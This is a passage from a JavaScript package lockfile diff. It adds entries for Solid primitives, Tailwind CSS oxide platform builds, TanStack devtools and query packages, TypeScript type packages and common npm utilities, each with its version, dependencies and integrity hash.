"sha512-h4VqkYFv6Gf+L7SQj+Y6puigL/5DIi7x5q07VZET7AWcS+9/G3WfIE9WheniHWJs51OEkRB43w6lDys5YeFceg=="], + + "@solid-primitives/keyboard": ["@solid-primitives/keyboard@1.3.3", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/rootless": "^1.5.2", "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9dQHTTgLBqyAI7aavtO+HnpTVJgWQA1ghBSrmLtMu1SMxLPDuLfuNr+Tk5udb4AL4Ojg7h9JrKOGEEDqsJXWJA=="], + + "@solid-primitives/resize-observer": ["@solid-primitives/resize-observer@2.1.3", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/rootless": "^1.5.2", "@solid-primitives/static-store": "^0.1.2", "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-zBLje5E06TgOg93S7rGPldmhDnouNGhvfZVKOp+oG2XU8snA+GoCSSCz1M+jpNAg5Ek2EakU5UVQqL152WmdXQ=="], + + "@solid-primitives/rootless": ["@solid-primitives/rootless@1.5.2", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-9HULb0QAzL2r47CCad0M+NKFtQ+LrGGNHZfteX/ThdGvKIg2o2GYhBooZubTCd/RTu2l2+Nw4s+dEfiDGvdrrQ=="], + + "@solid-primitives/static-store": ["@solid-primitives/static-store@0.1.2", "", { "dependencies": { "@solid-primitives/utils": "^6.3.2" }, "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-ReK+5O38lJ7fT+L6mUFvUr6igFwHBESZF+2Ug842s7fvlVeBdIVEdTCErygff6w7uR6+jrr7J8jQo+cYrEq4Iw=="], + + "@solid-primitives/utils": ["@solid-primitives/utils@6.3.2", "", { "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-hZ/M/qr25QOCcwDPOHtGjxTD8w2mNyVAYvcfgwzBHq2RwNqHNdDNsMZYap20+ruRwW4A3Cdkczyoz0TSxLCAPQ=="], + + "@standard-schema/spec": ["@standard-schema/spec@1.0.0", "", {}, "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA=="], + + "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], + + "@tailwindcss/node": ["@tailwindcss/node@4.1.17", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.17" } }, "sha512-csIkHIgLb3JisEFQ0vxr2Y57GUNYh447C8xzwj89U/8fdW8LhProdxvnVH6U8M2Y73QKiTIH+LWbK3V2BBZsAg=="], + + "@tailwindcss/oxide": ["@tailwindcss/oxide@4.1.17", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.17", "@tailwindcss/oxide-darwin-arm64": "4.1.17", "@tailwindcss/oxide-darwin-x64": "4.1.17", "@tailwindcss/oxide-freebsd-x64": "4.1.17", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.17", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.17", "@tailwindcss/oxide-linux-arm64-musl": "4.1.17", "@tailwindcss/oxide-linux-x64-gnu": "4.1.17", "@tailwindcss/oxide-linux-x64-musl": "4.1.17", "@tailwindcss/oxide-wasm32-wasi": "4.1.17", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.17", "@tailwindcss/oxide-win32-x64-msvc": "4.1.17" } }, "sha512-F0F7d01fmkQhsTjXezGBLdrl1KresJTcI3DB8EkScCldyKp3Msz4hub4uyYaVnk88BAS1g5DQjjF6F5qczheLA=="], + + "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.1.17", "", { "os": "android", "cpu": "arm64" }, "sha512-BMqpkJHgOZ5z78qqiGE6ZIRExyaHyuxjgrJ6eBO5+hfrfGkuya0lYfw8fRHG77gdTjWkNWEEm+qeG2cDMxArLQ=="], + + "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.1.17", "", { "os": "darwin", "cpu": "arm64" }, "sha512-EquyumkQweUBNk1zGEU/wfZo2qkp/nQKRZM8bUYO0J+Lums5+wl2CcG1f9BgAjn/u9pJzdYddHWBiFXJTcxmOg=="], + + "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.1.17", "", { "os": "darwin", "cpu": "x64" }, "sha512-gdhEPLzke2Pog8s12oADwYu0IAw04Y2tlmgVzIN0+046ytcgx8uZmCzEg4VcQh+AHKiS7xaL8kGo/QTiNEGRog=="], + + "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.1.17", "", { "os": "freebsd", "cpu": "x64" }, "sha512-hxGS81KskMxML9DXsaXT1H0DyA+ZBIbyG/sSAjWNe2EDl7TkPOBI42GBV3u38itzGUOmFfCzk1iAjDXds8Oh0g=="], + + "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.1.17", "", { "os": "linux", "cpu": "arm" }, "sha512-k7jWk5E3ldAdw0cNglhjSgv501u7yrMf8oeZ0cElhxU6Y2o7f8yqelOp3fhf7evjIS6ujTI3U8pKUXV2I4iXHQ=="], + + "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.1.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-HVDOm/mxK6+TbARwdW17WrgDYEGzmoYayrCgmLEw7FxTPLcp/glBisuyWkFz/jb7ZfiAXAXUACfyItn+nTgsdQ=="], + + "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.1.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-HvZLfGr42i5anKtIeQzxdkw/wPqIbpeZqe7vd3V9vI3RQxe3xU1fLjss0TjyhxWcBaipk7NYwSrwTwK1hJARMg=="], + + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.1.17", "", { "os": "linux", "cpu": "x64" }, "sha512-M3XZuORCGB7VPOEDH+nzpJ21XPvK5PyjlkSFkFziNHGLc5d6g3di2McAAblmaSUNl8IOmzYwLx9NsE7bplNkwQ=="], + + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.1.17", "", { "os": "linux", "cpu": "x64" }, "sha512-k7f+pf9eXLEey4pBlw+8dgfJHY4PZ5qOUFDyNf7SI6lHjQ9Zt7+NcscjpwdCEbYi6FI5c2KDTDWyf2iHcCSyyQ=="], + + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.1.17", "", { "dependencies": { "@emnapi/core": "^1.6.0", "@emnapi/runtime": "^1.6.0", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.0.7", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-cEytGqSSoy7zK4JRWiTCx43FsKP/zGr0CsuMawhH67ONlH+T79VteQeJQRO/X7L0juEUA8ZyuYikcRBf0vsxhg=="], + + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.1.17", "", { "os": "win32", "cpu": "arm64" }, "sha512-JU5AHr7gKbZlOGvMdb4722/0aYbU+tN6lv1kONx0JK2cGsh7g148zVWLM0IKR3NeKLv+L90chBVYcJ8uJWbC9A=="], + + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.1.17", "", { "os": "win32", "cpu": "x64" }, "sha512-SKWM4waLuqx0IH+FMDUw6R66Hu4OuTALFgnleKbqhgGU30DY20NORZMZUKgLRjQXNN2TLzKvh48QXTig4h4bGw=="], + + "@tailwindcss/vite": ["@tailwindcss/vite@4.1.17", "", { "dependencies": { "@tailwindcss/node": "4.1.17", "@tailwindcss/oxide": "4.1.17", "tailwindcss": "4.1.17" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7" } }, "sha512-4+9w8ZHOiGnpcGI6z1TVVfWaX/koK7fKeSYF3qlYg2xpBtbteP2ddBxiarL+HVgfSJGeK5RIxRQmKm4rTJJAwA=="], + + "@tanstack/devtools": ["@tanstack/devtools@0.8.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.4", "@tanstack/devtools-event-bus": "0.3.3", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-ltVS+MpOrA37CiVunSOCcXctaDnQOJV6FPE5Y2uLq3m8b0spmHwp0edp1PRd2CMG4LnGIlRf7lYdhHa2p9CHNA=="], + + "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.4", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.3.4" } }, "sha512-LefnH9KE9uRDEWifc3QDcooskA8ikfs41bybDTgpYQpyTUspZnaEdUdya9Hry0KYxZ8nos0S3nNbsP79KHqr6Q=="], + + "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.3.3", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-lWl88uLAz7ZhwNdLH6A3tBOSEuBCrvnY9Fzr5JPdzJRFdM5ZFdyNWz1Bf5l/F3GU57VodrN0KCFi9OA26H5Kpg=="], + + "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.3.5", "", {}, "sha512-RL1f5ZlfZMpghrCIdzl6mLOFLTuhqmPNblZgBaeKfdtk5rfbjykurv+VfYydOFXj0vxVIoA2d/zT7xfD7Ph8fw=="], + + "@tanstack/devtools-ui": ["@tanstack/devtools-ui@0.4.4", "", { "dependencies": { "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-5xHXFyX3nom0UaNfiOM92o6ziaHjGo3mcSGe2HD5Xs8dWRZNpdZ0Smd0B9ddEhy0oB+gXyMzZgUJb9DmrZV0Mg=="], + + "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.3.11", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.4", "@tanstack/devtools-event-bus": "0.3.3", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-t5jaWJNgkXOQTxuNrwkz71cN86zPZnLJY2Rz0IaMDgjb0ib1EKHeRgdqHMR/2YL96yhCHHDCHroBQXsw5Da4dg=="], + + "@tanstack/query-core": ["@tanstack/query-core@5.90.12", "", {}, "sha512-T1/8t5DhV/SisWjDnaiU2drl6ySvsHj1bHBCWNXd+/T+Hh1cf6JodyEYMd5sgwm+b/mETT4EV3H+zCVczCU5hg=="], + + "@tanstack/react-devtools": ["@tanstack/react-devtools@0.8.2", "", { "dependencies": { "@tanstack/devtools": "0.8.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-D1oG2QivpAmiT4iq7PxbsajmoYmtnhwg9gEK7q9mDiVcnyPjwnhg1ujDvKIzP+ZaRTkQzpJYwtTmS9DzYp8Akg=="], + + "@tanstack/react-query": ["@tanstack/react-query@5.90.12", "", { "dependencies": { "@tanstack/query-core": "5.90.12" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-graRZspg7EoEaw0a8faiUASCyJrqjKPdqJ9EwuDRUF9mEYJ1YPczI9H+/agJ0mOJkPCJDk0lsz5QTrLZ/jQ2rg=="], + + "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], + + "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="], + + "@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="], + + "@types/estree-jsx": ["@types/estree-jsx@1.0.5", "", { "dependencies": { "@types/estree": "*" } }, "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg=="], + + "@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="], + + "@types/mdast": ["@types/mdast@4.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA=="], + + "@types/mdx": ["@types/mdx@2.0.13", "", {}, "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw=="], + + "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], + + "@types/node": ["@types/node@24.10.1", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-GNWcUTRBgIRJD5zj+Tq0fKOJ5XZajIiBroOF0yvj2bSU1WvNdYS/dn9UxwsujGW4JX06dnHyjV2y9rRaybH0iQ=="], + + "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], + + "@types/prismjs": ["@types/prismjs@1.26.5", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="], + + "@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], + + "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], + + "@types/react-dom": ["@types/react-dom@19.2.3", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ=="], + + "@types/react-syntax-highlighter": ["@types/react-syntax-highlighter@15.5.13", "", { "dependencies": { "@types/react": "*" } }, "sha512-uLGJ87j6Sz8UaBAooU0T6lWJ0dBmjZgN1PZTrj05TNql2/XpC6+4HhMT5syIdFUUt+FASfCeLLv4kBygNU+8qA=="], + + "@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="], + + "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], + + "@zeit/schemas": ["@zeit/schemas@2.36.0", "", {}, "sha512-7kjMwcChYEzMKjeex9ZFXkt1AyNov9R5HZtjBKVsmVpw7pa7ZtlCGvCBC2vnnXctaYN+aRI61HjIqeetZW5ROg=="], + + "acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], + + "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="], + + "ajv": ["ajv@8.12.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2", "uri-js": "^4.2.2" } }, "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA=="], + + "ansi-align": ["ansi-align@3.0.1", "", { "dependencies": { "string-width": "^4.1.0" } }, "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w=="], + + "ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + + "ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], + + "arch": ["arch@2.2.0", "", {}, "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ=="], + + "arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="], + + "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], + + "aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="], + + "astring": ["astring@1.9.0", "", { "bin": { "astring": "bin/astring" } }, "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg=="], + + "babel-dead-code-elimination": ["babel-dead-code-elimination@1.0.10", "", { "dependencies": { "@babel/core": "^7.23.7", "@babel/parser": "^7.23.6", "@babel/traverse": "^7.23.7", "@babel/types": "^7.23.6" } }, "sha512-DV5bdJZTzZ0zn0DC24v3jD7Mnidh6xhKa4GfKCbq3sfW8kaWhDdZjP3i81geA8T33tdYqWKw4D3fVv0CwEgKVA=="], + + "babel-plugin-macros": ["babel-plugin-macros@3.1.0", "", { "dependencies": { "@babel/runtime": "^7.12.5", "cosmiconfig": "^7.0.0", "resolve": "^1.19.0" } }, "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg=="], + + "bail": ["bail@2.0.2", "", {}, "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw=="], + + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="], + + "boxen": ["boxen@7.0.0", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="], + + "brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], + + "browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": { "browserslist": "cli.js" } }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + + "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], + + "cac": ["cac@6.7.14", "", {}, "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ=="], + + "callsites": ["callsites@3.1.0", "", {}, "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="], + + "camelcase": ["camelcase@7.0.1", "", {}, "sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw=="], + + "caniuse-lite": ["caniuse-lite@1.0.30001759", "", {}, "sha512-Pzfx9fOKoKvevQf8oCXoyNRQ5QyxJj+3O0Rqx2V5oxT61KGx8+n6hV/IUyJeifUci2clnmmKVpvtiqRzgiWjSw=="], + + "ccount": ["ccount@2.0.1", "", {}, "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="], + + "chain-function": ["chain-function@1.0.1", "", {}, "sha512-SxltgMwL9uCko5/ZCLiyG2B7R9fY4pDZUw7hJ4MhirdjBLosoDqkWABi3XMucddHdLiFJMb7PD2MZifZriuMTg=="], + + "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], + + "chalk-template": ["chalk-template@0.4.0", "", { "dependencies": { "chalk": "^4.1.2" } }, "sha512-/ghrgmhfY8RaSdeo43hNXxpoHAtxdbskUHjPpfqUWGttFgycUhYPGx3YZBCnUCvOa7Doivn1IZec3DEGFoMgLg=="], + + "character-entities": ["character-entities@2.0.2", "", {}, "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="], + + "character-entities-html4": ["character-entities-html4@2.1.0", "", {}, "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA=="], + + "character-entities-legacy": ["character-entities-legacy@3.0.0", "", {}, "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ=="], + + "character-reference-invalid": ["character-reference-invalid@2.0.1", "", {}, "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw=="], + + "chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="], + + "class-variance-authority": ["class-variance-authority@0.7.1", "", { "dependencies": { "clsx": "^2.1.1" } }, "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg=="], + + "classnames": ["classnames@2.5.1", "", {}, "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow=="], + + "cli-boxes": ["cli-boxes@3.0.0", "", {}, "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g=="], + + "clipboardy": ["clipboardy@3.0.0", "", { "dependencies": { "arch": "^2.2.0", "execa": "^5.1.1", "is-wsl": "^2.2.0" } }, "sha512-Su+uU5sr1jkUy1sGRpLKjKrvEOVXgSgiSInwa/qeID6aJ07yh+5NWc3h2QfjHjBnfX4LhtFcuAWKUsJ3r+fjbg=="], + + "clone": ["clone@2.1.2", "", {}, "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w=="], + + "clsx": ["clsx@2.1.1", "", {}, "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA=="], + + "collapse-white-space": ["collapse-white-space@2.1.0", "", {}, "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw=="], + + "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="], + + "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="], + + "comma-separated-tokens": ["comma-separated-tokens@2.0.3", "", {}, "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg=="], + + "compressible": ["compressible@2.0.18", "", { "dependencies": { "mime-db": ">= 1.43.0 < 2" } }, "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg=="], + + "compression": ["compression@1.8.1", "", { "dependencies": { "bytes": "3.1.2", "compressible": "~2.0.18", "debug": "2.6.9", "negotiator": "~0.6.4", "on-headers": "~1.1.0", "safe-buffer": "5.2.1", "vary": "~1.1.2" } }, "sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w=="], + + "compute-scroll-into-view": ["compute-scroll-into-view@3.1.1", "", {}, "sha512-VRhuHOLoKYOy4UbilLbUzbYg93XLjv2PncJC50EuTWPA3gaja1UjBsUP/D/9/juV3vQFr6XBEzn9KCAHdUvOHw=="], + + "concat-map": ["concat-map@0.0.1", "", {}, "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="], + + "confbox": 